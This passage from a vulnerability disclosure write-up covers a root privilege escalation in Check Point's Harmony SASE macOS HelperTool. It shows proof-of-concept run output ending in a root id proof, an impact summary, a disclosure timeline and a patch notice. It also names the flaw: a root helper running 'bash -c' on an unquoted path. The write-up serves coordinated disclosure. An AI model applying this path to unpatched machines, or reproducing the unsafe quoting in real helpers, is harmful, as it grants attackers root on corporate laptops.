[!] Pristine Harmony SASE is running; it self-heals the daemon and starves the race.
[*] Asking pristine Harmony SASE to exit.
[*] (4/5) Triggering HelperTool installer path ...
[*] Enabled com.safervpn.osx.smb:shouldRelaunchDaemon=true for this run.
[*] Starting relocated app with silent-update relaunch trigger.
[*] Injection landed through silent-update relaunch trigger.
[*] (5/5) Verifying root proof ...
[+] CONFIRMED: HelperTool executed the fixed proof command as root.
Proof file: /tmp/harmony_sase_helpertool_lpe/proof/id.txt
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),702(com.apple.sharepoint.group.2),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
[*] Restoring app defaults and repairing daemon ...
[*] Removed temporary com.safervpn.osx.smb:shouldRelaunchDaemon flag.
[*] Repairing: launching pristine app to reinstall com.perimeter81d from a clean path.
bash-3.2$
Impact
A low-privileged local macOS user can run shell as root through Check Point’s privileged Harmony
SASE HelperTool. Full local privilege escalation from a standard account on a client that shows up on a lot of
corporate laptops. The HelperTool is a universal binary (x86_64 + arm64), so the same
path covers Intel and Apple Silicon fleets.
Disclosure
I reported this to Check Point through their Bug Bounty program on HackerOne on
21 July 2026. They triaged it as High, confirmed the finding, and shipped the fix in Harmony
SASE for macOS 12.9.1 (build 12074). Check Point will not publish a CVE for
this one. This post is about the vulnerable build I confirmed in lab —
12.9.0 / 11237. If you still have 12.9.0 in the field, upgrade.
Quiet thanks to Gal Yogev and the Check Point team for the confirmation and the fix.
What I took away
If a root helper still builds bash -c from a path, check the quoting. “Signed by our Team ID” is
not the same as “running from a trusted path.”
I found the bug by hand. Once the surface was pinned down, the model was good at writing the PoC. Context is king.
Check Point / Harmony SASE are mentioned here for technical discussion; this site is not affiliated with Check Point. Research was conducted in an authorized lab setting.